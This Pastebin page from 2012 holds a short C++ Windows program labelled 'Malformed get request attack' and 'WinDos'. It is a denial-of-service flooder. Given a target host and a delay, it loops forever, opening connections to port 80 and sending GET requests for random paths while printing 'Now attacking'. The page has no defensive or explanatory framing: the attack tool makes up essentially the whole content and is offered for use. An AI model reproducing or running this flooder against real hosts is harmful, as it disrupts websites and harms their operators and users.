Advertisement
HyperionSRC

C++ Malformed get request attack

Dec 1st, 2012
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.74 KB | None | 0 0
  1. #include <iostream>
  2. #include <stdio.h>
  3. #include <string>
  4. #include <WinSock2.h>
  5. #include <sstream>
  6. #include <windows.h>
  7. #pragma comment(lib, "ws2_32.lib")
  8.  
  9. using namespace std;
  10.  
  11. string convertInt(int number)
  12. {
  13.    stringstream sStream;
  14.    sStream << number;
  15.    return sStream.str();
  16. }
  17.  
  18. string Req = "";
  19.  
  20. int main(int argc, char* argv[])
  21. {
  22.     printf("WinDos - Coded by Hyperion_\n");
  23.     string Input;
  24.     string progname = (string)argv[0];
  25.     string Host     = (string)argv[1];
  26.     int    WaitMS   = atoi(argv[2]);
  27.     if(Host == "")
  28.     {
  29.         printf("Arguments: %s <host> <MS Inbetween requests>\n", argv[0]);
  30.         return 1;
  31.     }
  32.     printf("Connected to:  %s\n", argv[1]);
  33.     printf("Now attacking: %s\n", argv[1]);
  34.     int rCounter = 1;
  35.     int rRand = rand() % 99999999999999;
  36.     while(true)
  37.     {
  38.         WSADATA wsaData;
  39.  
  40.         if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0)
  41.         {
  42.             printf("WSAStartup failed.\n");
  43.             return 1;
  44.         }
  45.  
  46.         SOCKET Socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  47.  
  48.         struct hostent *host;
  49.         host = gethostbyname(Host.c_str());
  50.  
  51.         SOCKADDR_IN SockAddr;
  52.         SockAddr.sin_port=htons(80);
  53.         SockAddr.sin_family=AF_INET;
  54.         SockAddr.sin_addr.s_addr = *((unsigned long*)host->h_addr);
  55.         if(connect(Socket,(SOCKADDR*)(&SockAddr),sizeof(SockAddr)) != 0)
  56.         {
  57.             printf("Socket Failed!\n");
  58.         }
  59.         Req = "";
  60.         Req.append("GET /");
  61.         Req.append(convertInt(rRand));
  62.         Req.append(" HTTP/1.1\r\nHost: ");
  63.         Req.append(Host);
  64.         Req.append("\r\nConnection: close\r\n\r\n");
  65.         printf("Sent Get Request: #%i To: %s\n", rCounter, argv[1]);
  66.         send(Socket, Req.c_str(), strlen(Req.c_str()), 0);
  67.         if(WaitMS != 0)
  68.         {
  69.             Sleep(WaitMS);
  70.         }
  71.         rRand = rand() % 99999999999999;
  72.         rCounter++;
  73.         closesocket(Socket);
  74.     }
  75.         WSACleanup();
  76.     return 0;
  77. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement